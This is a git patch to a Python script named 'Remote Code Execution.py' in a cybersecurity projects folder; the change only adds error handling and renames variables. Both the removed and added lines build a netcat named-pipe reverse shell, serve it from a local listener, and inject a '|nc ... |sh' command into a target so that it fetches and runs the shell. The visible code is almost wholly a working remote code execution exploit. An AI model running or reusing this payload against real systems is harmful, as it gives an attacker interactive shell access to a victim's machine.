From ef580fa452a59bda1dd34ad6dbb8632d838fcaec Mon Sep 17 00:00:00 2001 From: Bryan <91551702+blondon1@users.noreply.github.com> Date: Tue, 21 May 2024 10:06:44 -0400 Subject: [PATCH] Update Remote Code Execution.py Added error handling with a try-except block to manage potential exceptions and it has better readability with clear formatting and descriptive variable names --- Cyber_security projects/Remote Code Execution.py | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/Cyber_security projects/Remote Code Execution.py b/Cyber_security projects/Remote Code Execution.py index 47c6a7ec..4f20f53a 100644 --- a/Cyber_security projects/Remote Code Execution.py +++ b/Cyber_security projects/Remote Code Execution.py @@ -14,11 +14,15 @@ def main(): - e_proc =3D Popen(["echo", f"rm /tmp/s & mknod /tmp/s p & /bin/sh 0< /tm= -p/s | nc {lhost} {lport} > /tmp/s"], stdout=3DPIPE) - Popen(["nc", "-nlvp", f"{payload_port}"], stdin=3De_proc.stdout) - send_payload(f"|nc {lhost} {payload_port}|sh") - print("done.. check shell") + try: + payload_command = f"rm /tmp/s && mknod /tmp/s p && /bin/sh 0< /tmp/s | nc {LOCAL_HOST} {LOCAL_PORT} > /tmp/s" + with Popen(["echo", payload_command], stdout=PIPE) as e_proc: + Popen(["nc", "-nlvp", f"{PAYLOAD_PORT}"], stdin=e_proc.stdout) + send_payload(f"|nc {LOCAL_HOST} {PAYLOAD_PORT}|sh") + print("done.. check shell") + except Exception as e: + print(f"An error occurred: {e}") + def get_session():